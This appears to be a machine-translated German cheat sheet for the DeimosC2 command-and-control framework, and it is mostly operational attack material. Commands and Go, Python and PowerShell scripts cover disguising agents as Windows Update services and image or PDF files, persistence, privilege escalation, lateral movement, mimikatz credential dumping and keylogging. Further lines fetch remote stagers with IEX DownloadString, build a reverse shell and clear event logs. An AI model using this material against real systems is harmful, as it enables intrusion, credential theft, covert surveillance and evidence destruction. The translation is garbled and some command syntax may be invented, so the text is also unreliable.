DeimosC2 Framework Cheat Sheet

📋 Kopieren Sie alle Befehle 📄 PDF generieren

Überblick

DeimosC2 ist ein Golang-basiertes Post-Exploitation-Befehls- und Kontrollgerüst für rote Team-Operationen und Penetrationstests. DeimosC2 ist mit modernen Architekturprinzipien aufgebaut und konzentriert sich auf die plattformübergreifende Kompatibilität, sichere Kommunikation und umfassende Nachbeschaffungsmöglichkeiten bei gleichzeitiger Aufrechterhaltung eines leichten Fußabdrucks und fortschrittlicher Evasionstechniken.

ZEIT Warnung: Dieses Tool ist nur für autorisierte Penetrationstests und rote Teamübungen gedacht. Stellen Sie sicher, dass Sie eine ordnungsgemäße Autorisierung vor der Verwendung gegen jedes Ziel haben.

Installation

Voraussetzungen

```bash

Install Go 1.18+ and Git

sudo apt update sudo apt install -y golang-go git build-essential

Verify Go installation

go version

Set Go environment variables

export GOPATH=$HOME/go export PATH=$PATH:$GOPATH/bin echo 'export GOPATH=$HOME/go' >> ~/.bashrc echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc ```_

Installation von GitHub

```bash

Clone DeimosC2 repository

git clone https://github.com/DeimosC2/DeimosC2.git cd DeimosC2

Build the server

go mod tidy go build -o deimosc2-server ./cmd/server

Build the agent

go build -o deimosc2-agent ./cmd/agent

Make executables

chmod +x deimosc2-server deimosc2-agent ```_

Docker Installation

```bash

Clone repository

git clone https://github.com/DeimosC2/DeimosC2.git cd DeimosC2

Build Docker image

docker build -t deimosc2 .

Run DeimosC2 container

docker run -it --rm -p 8080:8080 -p 443:443 deimosc2

Run with persistent data

docker run -it --rm -p 8080:8080 -p 443:443 -v $(pwd)/data:/app/data deimosc2 ```_

Cross-Platform Compilation

```bash

Build for Windows (x64)

GOOS=windows GOARCH=amd64 go build -o deimosc2-agent.exe ./cmd/agent

Build for Windows (x86)

GOOS=windows GOARCH=386 go build -o deimosc2-agent-x86.exe ./cmd/agent

Build for Linux (x64)

GOOS=linux GOARCH=amd64 go build -o deimosc2-agent-linux ./cmd/agent

Build for macOS (x64)

GOOS=darwin GOARCH=amd64 go build -o deimosc2-agent-macos ./cmd/agent

Build for ARM64

GOOS=linux GOARCH=arm64 go build -o deimosc2-agent-arm64 ./cmd/agent ```_

Basisnutzung

Start des Servers

```bash

Start DeimosC2 server with default settings

./deimosc2-server

Start with custom configuration

./deimosc2-server -config config.json

Start with specific interface and port

./deimosc2-server -host 0.0.0.0 -port 8080

Start with HTTPS

./deimosc2-server -tls -cert server.crt -key server.key

Start in debug mode

./deimosc2-server -debug ```_

Datei konfigurieren

json \\\\{ "server": \\\\{ "host": "0.0.0.0", "port": 8080, "tls": \\\\{ "enabled": true, "cert_file": "server.crt", "key_file": "server.key" \\\\}, "auth": \\\\{ "username": "admin", "password": "SecurePassword123!" \\\\} \\\\}, "database": \\\\{ "type": "sqlite", "connection": "deimos.db" \\\\}, "logging": \\\\{ "level": "info", "file": "deimos.log" \\\\}, "agents": \\\\{ "check_in_interval": 30, "jitter": 10, "max_retries": 5 \\\\} \\\\}_

Web Interface Zugriff

```bash

Access DeimosC2 web interface

http://localhost:8080

HTTPS access

https://your-domain.com:443

Default credentials (configurable)

Username: admin Password: SecurePassword123! ```_

Agent Deployment

Grundlegende Ausführung des Agenten

```bash

Windows agent

deimosc2-agent.exe -server http://192.168.1.100:8080

Linux agent

./deimosc2-agent-linux -server http://192.168.1.100:8080

macOS agent

./deimosc2-agent-macos -server http://192.168.1.100:8080

Agent with custom parameters

./deimosc2-agent -server https://c2.example.com:443 -interval 60 -jitter 20 ```_

Agent Configuration Optionen

```bash

Command line options

./deimosc2-agent -h

Options: -server string C2 server URL (required) -interval int Check-in interval in seconds (default: 30) -jitter int Jitter percentage (default: 10) -user-agent string Custom User-Agent string -proxy string Proxy URL (http://proxy:port) -cert string Custom CA certificate file -insecure Skip TLS certificate verification -debug Enable debug logging ```_

Steganographische Bereitstellung

```bash

Embed agent in image

cat image.jpg deimosc2-agent.exe > hidden.jpg

Extract and execute

tail -c +[image_size] hidden.jpg > agent.exe ./agent.exe -server http://192.168.1.100:8080

Embed in PDF

cat document.pdf deimosc2-agent.exe > hidden.pdf ```_

Service Installation (Windows)

```bash

Install as Windows service

sc create "DeimosAgent" binPath= "C:\Windows\Temp\deimosc2-agent.exe -server http://192.168.1.100:8080" start= auto sc start "DeimosAgent"

Install with custom service name

sc create "WindowsUpdateService" binPath= "C:\Windows\System32\deimosc2-agent.exe -server https://update.microsoft.com.evil.com:443" start= auto DisplayName= "Windows Update Service" ```_

Befehl und Kontrolle

Personalmanagement

```bash

List active agents

agents list

Get agent information

agents info [agent_id]

Execute command on agent

agents exec [agent_id] "whoami"

Execute PowerShell on Windows agent

agents exec [agent_id] "powershell Get-Process"

Kill agent

agents kill [agent_id]

Rename agent

agents rename [agent_id] [new_name] ```_

Dateioperationen

```bash

Download file from agent

download [agent_id] C:\Users\Administrator\Documents\sensitive.docx

Upload file to agent

upload [agent_id] payload.exe C:\Windows\Temp\update.exe

List directory contents

ls [agent_id] C:\Users\Administrator\Documents

Change directory

cd [agent_id] C:\Windows\System32

Create directory

mkdir [agent_id] C:\Windows\Temp\data

Remove file

rm [agent_id] C:\Windows\Temp\payload.exe ```_

Prozessmanagement

```bash

List processes

ps [agent_id]

Kill process

kill [agent_id] [pid]

Start process

start [agent_id] notepad.exe

Process injection

inject [agent_id] [pid] [shellcode_file]

Memory dump

memdump [agent_id] [pid] output.dmp ```_

Netzwerkaktivitäten

```bash

Network discovery

discover [agent_id] 192.168.1.0/24

Port scan

portscan [agent_id] 192.168.1.100 80,443,22,3389

ARP scan

arpscan [agent_id] 192.168.1.0/24

Network interfaces

ifconfig [agent_id]

Routing table

route [agent_id]

Network connections

netstat [agent_id] ```_

Erweiterte Funktionen

Persistenzmechanismen

```bash

Registry persistence (Windows)

persist registry [agent_id] HKCU "Software\Microsoft\Windows\CurrentVersion\Run" "WindowsUpdate" "C:\Windows\Temp\agent.exe"

Scheduled task persistence (Windows)

persist schtask [agent_id] "SystemUpdate" "C:\Windows\Temp\agent.exe" "ONLOGON"

Service persistence (Windows)

persist service [agent_id] "WindowsUpdateService" "C:\Windows\Temp\agent.exe"

Cron persistence (Linux)

persist cron [agent_id] "*/5 * * * * /tmp/agent"

Autostart persistence (Linux)

persist autostart [agent_id] "/tmp/agent"

LaunchAgent persistence (macOS)

persist launchagent [agent_id] "com.apple.update" "/tmp/agent" ```_

Vorrechte Eskalation

```bash

UAC bypass (Windows)

elevate uac [agent_id] [payload_path]

Token manipulation (Windows)

elevate token [agent_id] [target_pid]

Sudo exploitation (Linux)

elevate sudo [agent_id] [command]

SUID exploitation (Linux)

elevate suid [agent_id]

Kernel exploits

elevate kernel [agent_id] [exploit_name] ```_

Spätere Bewegung

```bash

WMI execution (Windows)

lateral wmi [agent_id] 192.168.1.100 administrator password123 "whoami"

PSExec execution (Windows)

lateral psexec [agent_id] 192.168.1.100 admin pass123 "systeminfo"

PowerShell remoting (Windows)

lateral winrm [agent_id] 192.168.1.100 administrator password123 "Get-Process"

SSH execution (Linux/macOS)

lateral ssh [agent_id] 192.168.1.50 root password123 "uname -a"

SMB execution

lateral smb [agent_id] 192.168.1.100 admin pass123 "dir C:\" ```_

Einrichtende Operationen

```bash

Dump credentials (Windows)

creds dump [agent_id]

Mimikatz execution (Windows)

creds mimikatz [agent_id] "sekurlsa::logonpasswords"

SAM dump (Windows)

creds sam [agent_id]

LSA secrets (Windows)

creds lsa [agent_id]

Browser credentials

creds browser [agent_id]

SSH keys (Linux/macOS)

creds ssh [agent_id]

Keychain dump (macOS)

creds keychain [agent_id] ```_

Pivoting und Tunneling

```bash

SOCKS proxy

pivot socks [agent_id] 1080

Port forwarding

pivot portfwd [agent_id] 8080 192.168.1.100 80

Reverse port forwarding

pivot rportfwd [agent_id] 3389 127.0.0.1 3389

HTTP tunnel

pivot http [agent_id] 8080

DNS tunnel

pivot dns [agent_id] tunnel.example.com ```_

Datenerhebung

```bash

Screenshot

screenshot [agent_id]

Keylogger

keylog start [agent_id] keylog stop [agent_id] keylog dump [agent_id]

Webcam capture

webcam [agent_id]

Microphone recording

microphone [agent_id] 60

Clipboard monitoring

clipboard [agent_id]

File search

search [agent_id] C:\Users *.docx

Registry search

regsearch [agent_id] HKLM password ```_

Automatisierung und Schrift

Go Automation Script

```go package main

import ( "bytes" "encoding/json" "fmt" "io/ioutil" "net/http" "time" )

type DeimosClient struct \\{ BaseURL string Username string Password string HTTPClient *http.Client Token string \\}

type Agent struct \\{ ID string json:"id" Hostname string json:"hostname" Username string json:"username" OS string json:"os" IP string json:"ip" Status string json:"status" \\}

type Command struct \\{ AgentID string json:"agent_id" Command string json:"command" Args string json:"args" \\}

func NewDeimosClient(baseURL, username, password string) *DeimosClient \\{ return &DeimosClient;\\{ BaseURL: baseURL, Username: username, Password: password, HTTPClient: &http;.Client\\{Timeout: 30 * time.Second\\}, \\} \\}

func (c *DeimosClient) Authenticate() error \\{ authData := map[string]string\\{ "username": c.Username, "password": c.Password, \\}

jsonData, _ := json.Marshal(authData)
resp, err := c.HTTPClient.Post(c.BaseURL+"/api/auth", "application/json", bytes.NewBuffer(jsonData))
if err != nil \\\\{
    return err
\\\\}
defer resp.Body.Close()

if resp.StatusCode == 200 \\\\{
    var result map[string]string
    json.NewDecoder(resp.Body).Decode(&result;)
    c.Token = result["token"]
    return nil
\\\\}

return fmt.Errorf("authentication failed")

\\}

func (c *DeimosClient) GetAgents() ([]Agent, error) \\{ req, _ := http.NewRequest("GET", c.BaseURL+"/api/agents", nil) req.Header.Set("Authorization", "Bearer "+c.Token)

resp, err := c.HTTPClient.Do(req)
if err != nil \\\\{
    return nil, err
\\\\}
defer resp.Body.Close()

var agents []Agent
json.NewDecoder(resp.Body).Decode(&agents;)
return agents, nil

\\}

func (c *DeimosClient) ExecuteCommand(agentID, command string) error \\{ cmdData := Command\\{ AgentID: agentID, Command: command, \\}

jsonData, _ := json.Marshal(cmdData)
req, _ := http.NewRequest("POST", c.BaseURL+"/api/execute", bytes.NewBuffer(jsonData))
req.Header.Set("Authorization", "Bearer "+c.Token)
req.Header.Set("Content-Type", "application/json")

resp, err := c.HTTPClient.Do(req)
if err != nil \\\\{
    return err
\\\\}
defer resp.Body.Close()

return nil

\\}

func (c *DeimosClient) AutomatedRecon(agentID string) \\{ commands := []string\\{ "whoami", "hostname", "pwd", "ps", "ifconfig", "netstat -an", "uname -a", \\}

for _, cmd := range commands \\\\{
    fmt.Printf("[+] Executing: %s\n", cmd)
    c.ExecuteCommand(agentID, cmd)
    time.Sleep(2 * time.Second)
\\\\}

\\}

func (c *DeimosClient) EstablishPersistence(agentID string) \\{ persistenceCommands := []string\\{ "persist registry HKCU \"Software\Microsoft\Windows\CurrentVersion\Run\" \"WindowsUpdate\" \"C:\Windows\Temp\agent.exe\"", "persist schtask \"SystemUpdate\" \"C:\Windows\Temp\agent.exe\" \"ONLOGON\"", "persist service \"WindowsUpdateService\" \"C:\Windows\Temp\agent.exe\"", \\}

for _, cmd := range persistenceCommands \\\\{
    fmt.Printf("[+] Establishing persistence: %s\n", cmd)
    c.ExecuteCommand(agentID, cmd)
    time.Sleep(3 * time.Second)
\\\\}

\\}

func main() \\{ client := NewDeimosClient("http://192.168.1.100:8080", "admin", "SecurePassword123!")

// Authenticate
if err := client.Authenticate(); err != nil \\\\{
    fmt.Printf("Authentication failed: %v\n", err)
    return
\\\\}

// Get active agents
agents, err := client.GetAgents()
if err != nil \\\\{
    fmt.Printf("Failed to get agents: %v\n", err)
    return
\\\\}

fmt.Printf("[+] Found %d active agents\n", len(agents))

// Process each agent
for _, agent := range agents \\\\{
    fmt.Printf("[+] Processing agent: %s (%s)\n", agent.ID, agent.Hostname)

    // Perform reconnaissance
    client.AutomatedRecon(agent.ID)

    // Establish persistence
    client.EstablishPersistence(agent.ID)

    // Wait before processing next agent
    time.Sleep(10 * time.Second)
\\\\}

\\} ```_

Python Automation Script

```python

!/usr/bin/env python3

DeimosC2 Python automation script

import requests import json import time from urllib3.exceptions import InsecureRequestWarning

Disable SSL warnings

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class DeimosClient: def init(self, base_url, username, password): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.verify = False self.token = None

def authenticate(self):
    """Authenticate with DeimosC2 server"""
    auth_data = \\\\{
        'username': self.username,
        'password': self.password
    \\\\}

    response = self.session.post(f"\\\\{self.base_url\\\\}/api/auth", json=auth_data)
    if response.status_code == 200:
        self.token = response.json().get('token')
        self.session.headers.update(\\\\{'Authorization': f'Bearer \\\\{self.token\\\\}'\\\\})
        print("[+] Authentication successful")
        return True
    else:
        print("[-] Authentication failed")
        return False

def get_agents(self):
    """Get list of active agents"""
    response = self.session.get(f"\\\\{self.base_url\\\\}/api/agents")
    if response.status_code == 200:
        return response.json()
    return []

def execute_command(self, agent_id, command):
    """Execute command on agent"""
    cmd_data = \\\\{
        'agent_id': agent_id,
        'command': command
    \\\\}

    response = self.session.post(f"\\\\{self.base_url\\\\}/api/execute", json=cmd_data)
    return response.status_code == 200

def download_file(self, agent_id, remote_path, local_path):
    """Download file from agent"""
    download_data = \\\\{
        'agent_id': agent_id,
        'remote_path': remote_path
    \\\\}

    response = self.session.post(f"\\\\{self.base_url\\\\}/api/download", json=download_data)
    if response.status_code == 200:
        with open(local_path, 'wb') as f:
            f.write(response.content)
        return True
    return False

def upload_file(self, agent_id, local_path, remote_path):
    """Upload file to agent"""
    with open(local_path, 'rb') as f:
        files = \\\\{'file': f\\\\}
        data = \\\\{
            'agent_id': agent_id,
            'remote_path': remote_path
        \\\\}
        response = self.session.post(f"\\\\{self.base_url\\\\}/api/upload", files=files, data=data)
    return response.status_code == 200

def automated_recon(self, agent_id):
    """Perform automated reconnaissance"""
    commands = [
        "whoami",
        "hostname",
        "pwd",
        "ps",
        "ifconfig",
        "netstat -an",
        "uname -a"
    ]

    for cmd in commands:
        print(f"[+] Executing: \\\\{cmd\\\\}")
        self.execute_command(agent_id, cmd)
        time.sleep(2)

def credential_harvesting(self, agent_id):
    """Harvest credentials from agent"""
    commands = [
        "creds dump",
        "creds mimikatz \"sekurlsa::logonpasswords\"",
        "creds sam",
        "creds browser"
    ]

    for cmd in commands:
        print(f"[+] Harvesting credentials: \\\\{cmd\\\\}")
        self.execute_command(agent_id, cmd)
        time.sleep(5)

def establish_persistence(self, agent_id):
    """Establish persistence on agent"""
    persistence_commands = [
        'persist registry HKCU "Software\\Microsoft\\Windows\\CurrentVersion\\Run" "WindowsUpdate" "C:\\Windows\\Temp\\agent.exe"',
        'persist schtask "SystemUpdate" "C:\\Windows\\Temp\\agent.exe" "ONLOGON"',
        'persist service "WindowsUpdateService" "C:\\Windows\\Temp\\agent.exe"'
    ]

    for cmd in persistence_commands:
        print(f"[+] Establishing persistence: \\\\{cmd\\\\}")
        self.execute_command(agent_id, cmd)
        time.sleep(3)

def lateral_movement(self, agent_id, targets):
    """Perform lateral movement"""
    for target in targets:
        commands = [
            f'lateral wmi \\\\{target\\\\} administrator password123 "whoami"',
            f'lateral psexec \\\\{target\\\\} admin pass123 "systeminfo"',
            f'lateral ssh \\\\{target\\\\} root password123 "uname -a"'
        ]

        for cmd in commands:
            print(f"[+] Lateral movement: \\\\{cmd\\\\}")
            self.execute_command(agent_id, cmd)
            time.sleep(3)

def main(): client = DeimosClient("http://192.168.1.100:8080", "admin", "SecurePassword123!")

# Authenticate
if not client.authenticate():
    return

# Get active agents
agents = client.get_agents()
print(f"[+] Found \\\\{len(agents)\\\\} active agents")

# Process each agent
for agent in agents:
    agent_id = agent['id']
    hostname = agent.get('hostname', 'unknown')
    print(f"[+] Processing agent: \\\\{agent_id\\\\} (\\\\{hostname\\\\})")

    # Perform reconnaissance
    client.automated_recon(agent_id)

    # Harvest credentials
    client.credential_harvesting(agent_id)

    # Establish persistence
    client.establish_persistence(agent_id)

    # Lateral movement
    targets = ["192.168.1.101", "192.168.1.102"]
    client.lateral_movement(agent_id, targets)

    # Wait before processing next agent
    time.sleep(10)

if name == "main": main() ```_

PowerShell Automation

```powershell

DeimosC2 PowerShell automation script

function Invoke-DeimosAutomation \\{ param( [string]$ServerURL = "http://192.168.1.100:8080", [string]$Username = "admin", [string]$Password = "SecurePassword123!" )

# Create web session
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession

# Authenticate
$authData = @\\\\{
    username = $Username
    password = $Password
\\\\}|ConvertTo-Json

try \\\\{
    $authResponse = Invoke-WebRequest -Uri "$ServerURL/api/auth" -Method POST -Body $authData -ContentType "application/json" -WebSession $session
    $token = ($authResponse.Content|ConvertFrom-Json).token
    $session.Headers.Add("Authorization", "Bearer $token")
    Write-Host "[+] Authentication successful"
\\\\}
catch \\\\{
    Write-Error "Authentication failed: $_"
    return
\\\\}

# Get active agents
try \\\\{
    $agentsResponse = Invoke-WebRequest -Uri "$ServerURL/api/agents" -WebSession $session
    $agents = $agentsResponse.Content|ConvertFrom-Json
    Write-Host "[+] Found $($agents.Count) active agents"
\\\\}
catch \\\\{
    Write-Error "Failed to get agents: $_"
    return
\\\\}

# Process each agent
foreach ($agent in $agents) \\\\{
    $agentId = $agent.id
    $hostname = $agent.hostname
    Write-Host "[+] Processing agent: $agentId ($hostname)"

    # Reconnaissance commands
    $commands = @(
        "whoami",
        "hostname",
        "systeminfo",
        "tasklist",
        "ipconfig /all",
        "netstat -an"
    )

    foreach ($cmd in $commands) \\\\{
        $cmdData = @\\\\{
            agent_id = $agentId
            command = $cmd
        \\\\}|ConvertTo-Json

        try \\\\{
            Invoke-WebRequest -Uri "$ServerURL/api/execute" -Method POST -Body $cmdData -ContentType "application/json" -WebSession $session
            Write-Host "[+] Executed: $cmd"
            Start-Sleep -Seconds 2
        \\\\}
        catch \\\\{
            Write-Warning "Failed to execute command '$cmd': $_"
        \\\\}
    \\\\}

    # Establish persistence
    $persistenceCommands = @(
        'persist registry HKCU "Software\Microsoft\Windows\CurrentVersion\Run" "WindowsUpdate" "C:\Windows\Temp\agent.exe"',
        'persist schtask "SystemUpdate" "C:\Windows\Temp\agent.exe" "ONLOGON"'
    )

    foreach ($cmd in $persistenceCommands) \\\\{
        $cmdData = @\\\\{
            agent_id = $agentId
            command = $cmd
        \\\\}|ConvertTo-Json

        try \\\\{
            Invoke-WebRequest -Uri "$ServerURL/api/execute" -Method POST -Body $cmdData -ContentType "application/json" -WebSession $session
            Write-Host "[+] Persistence established: $cmd"
            Start-Sleep -Seconds 3
        \\\\}
        catch \\\\{
            Write-Warning "Failed to establish persistence: $_"
        \\\\}
    \\\\}

    # Wait before processing next agent
    Start-Sleep -Seconds 10
\\\\}

\\}

Execute automation

Invoke-DeimosAutomation ```_

Integration mit anderen Tools

Metasploit Integration

```bash

Use DeimosC2 for initial access, pivot to Metasploit

Generate Metasploit payload

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=8443 -f exe -o meterpreter.exe

Upload via DeimosC2 agent

upload [agent_id] meterpreter.exe C:\Windows\Temp\update.exe

Execute Metasploit payload

agents exec [agent_id] "C:\Windows\Temp\update.exe"

Handle in Metasploit

msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set LHOST 192.168.1.100 set LPORT 8443 run ```_

Integrieren der Welt

```bash

Generate Empire stager

Use DeimosC2 for initial access, pivot to Empire

From DeimosC2 agent

agents exec [agent_id] "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/empire_stager.ps1')"

Handle in Empire

./empire listeners uselistener http set Host 192.168.1.100 set Port 8080 execute ```_

Cobalt Strike Integration

```bash

Beacon integration

Generate Cobalt Strike beacon

Use DeimosC2 for initial access, pivot to Beacon

From DeimosC2 agent

agents exec [agent_id] "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/beacon.ps1')"

Handle in Cobalt Strike team server

```_

Operationelle Sicherheit

Kommunikationssicherheit

```bash

Use HTTPS with valid certificates

Configure domain fronting

Implement certificate pinning

Use legitimate user agents

Generate SSL certificates

openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes

Start DeimosC2 with SSL

./deimosc2-server -tls -cert server.crt -key server.key ```_

Verkehrsobfukation

```bash

Use custom user agents

Implement jitter and delays

Mimic legitimate traffic patterns

Use common ports and protocols

Example obfuscated agent execution

./deimosc2-agent -server https://cdn.example.com:443 -user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -jitter 30 ```_

Anti-Forensik

```bash

Clear event logs

agents exec [agent_id] "wevtutil cl System" agents exec [agent_id] "wevtutil cl Security" agents exec [agent_id] "wevtutil cl Application"

Clear PowerShell history

agents exec [agent_id] "powershell Remove-Item (Get-PSReadlineOption).HistorySavePath -Force"

Timestomping

agents exec [agent_id] "powershell $(Get-Item file.exe).LastWriteTime = '01/01/2020 12:00:00'" ```_

Fehlerbehebung

Gemeinsame Themen

```bash

Agent not connecting

1. Check firewall rules
2. Verify server configuration
3. Test network connectivity
4. Check certificate issues

Go build issues

go mod tidy go clean -cache

SSL certificate issues

openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes ```_

Debug Mode

```bash

Enable debug logging

./deimosc2-server -debug

Agent debug mode

./deimosc2-agent -debug -server http://192.168.1.100:8080

Check network connectivity

telnet 192.168.1.100 8080 ```_

Best Practices

Betriebsplanung

1. *Pre-engagement Setup: Server und Kompile Agenten vor dem Eingriff konfigurieren
2. Agent Management: Deskriptive Agentennamen verwenden und durch Netzwerk organisieren
3. ** Kommunikationsprotokolle*: Sichere C2-Kommunikationskanäle erstellen
4. Datenhandling: Implementierung einer sicheren Datenerfassung und -speicherung
5. *Cleanup-Verfahren: Plan zur Artefaktentfernung und Wirkstoffreinigung

Sicherheitsüberlegungen

```bash

Secure deployment

Use strong authentication

Enable HTTPS with valid certificates

Implement network segmentation

Regular security updates

Agent management

Use unique agent identifiers

Implement agent timeouts

Regular agent rotation

Secure communication channels

```_

Dokumentation und Reporting

```bash

Operation documentation

Maintain agent logs

Document all activities

Track compromised systems

Generate executive reports

Artifact tracking

Monitor IOCs

Document forensic artifacts

Implement attribution prevention

```_

Ressourcen

• DeimosC2 GitHub Repository
• DeimosC2 Dokumentation
• Go Programming Language
• [MITRE ATT&CK; Framework](LINK_5___ -%20(SANS%20Red%20Team%20Operations)(__LINK_5)

--

*Dieses Betrügereiblatt bietet eine umfassende Referenz für die Verwendung von DeimosC2 Framework. Stellen Sie immer sicher, dass Sie eine ordnungsgemäße Autorisierung vor der Durchführung von roten Team-Operationen oder Penetrationstests haben. *